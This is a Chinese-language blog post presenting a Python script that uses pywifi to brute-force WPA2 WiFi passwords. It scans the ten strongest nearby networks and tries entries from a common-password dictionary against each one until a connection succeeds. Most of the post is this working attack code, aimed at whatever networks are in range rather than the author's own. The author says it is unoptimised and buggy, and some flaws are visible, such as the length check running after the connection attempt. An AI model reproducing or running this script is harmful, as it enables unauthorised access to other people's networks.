python WiFi暴力破解小程序

思路:

 1、掃描前十個信號最好的wifi,得到ssid

2、然後用一個密碼,遍歷所有ssid,嘗試能否連接上

3、密碼正確連接上後,會報錯退出程序,否則會一直運行下去

4、本腳本沒有優化,運行時可能有bug

5、時間大概是2~3秒掃描一個ssid,根據計算機的不同可以修改,但是時間間隔太短會出錯,比如正確的密碼卻因時間太短認爲是錯誤的。

本博客是學習  分分鐘搞定python破解無線wifi  這篇博客然後根據自己的需求擴充改寫的,大家可以學習這位大神的博客。

運行時的現象:
圖一:此處應該有一副圖片
# coding:utf-8
import time  #時間
import pywifi  #破解wifi
from pywifi import const  #引用一些定義
from asyncio.tasks import sleep

class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取網卡接口
        self.iface = wifi.interfaces()[0]#抓取第一個無限網卡
        self.iface.disconnect() #測試鏈接斷開所有鏈接
        time.sleep(1) #休眠1秒
        self.list=self.initialssidnamelist()

        # 測試網卡是否屬於斷開狀態,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def bies(self):
        self.iface.scan()  # 掃描
        bessis = self.iface.scan_results()
        list = []
        for data in bessis:
            list.append((data.ssid, data.signal))
        return len(list), sorted(list, key=lambda st: st[1], reverse=True)
    def getsignal(self):
        while True:
            n, data = self.bies()
            time.sleep(1)
            if n is not 0:
                return data[0:10]
    def initialssidnamelist(self):
        ssidlist = self.getsignal()
        namelist = []
        for item in ssidlist:
            namelist.append(item[0])
        return namelist

    def readPassWord(self,ssidname,myStr):

        bool1=self.test_connect(myStr,ssidname)
        if len(myStr)<8:
            return False
        if bool1:
            print("密碼+++++++++++++正確:"+myStr+"   "+ssidname)
            return True
        else:
            print("密碼錯誤:"+myStr+"   "+ssidname)
            return False


    def test_connect(self,findStr,ssidname):#測試鏈接

        profile = pywifi.Profile()  #創建wifi鏈接文件
        profile.ssid =ssidname #wifi名稱
        # profile.ssid ="Netcore" #wifi名稱
        profile.auth = const.AUTH_ALG_OPEN  #網卡的開放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密單元
        profile.key = findStr #密碼

        self.iface.remove_all_network_profiles() #刪除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#設定新的鏈接文件
        self.iface.connect(tmp_profile)#鏈接
        time.sleep(2)
        if self.iface.status() == const.IFACE_CONNECTED:  #判斷是否連接上
            isOK=True
        else:
            isOK=False
        self.iface.disconnect() #斷開
        time.sleep(1)
        #檢查斷開狀態
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

    def run(self):

        while True:
            myStr = self.file.readline()
            for ssidname in self.list:
                ret=self.readPassWord(ssidname,myStr)

                if ret:
                    raise FileExistsError
    def __del__(self):
        self.file.close()
path=r"G:\DownLoad\6000常用密碼字典.txt"
start=PoJie(path)
start.run()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章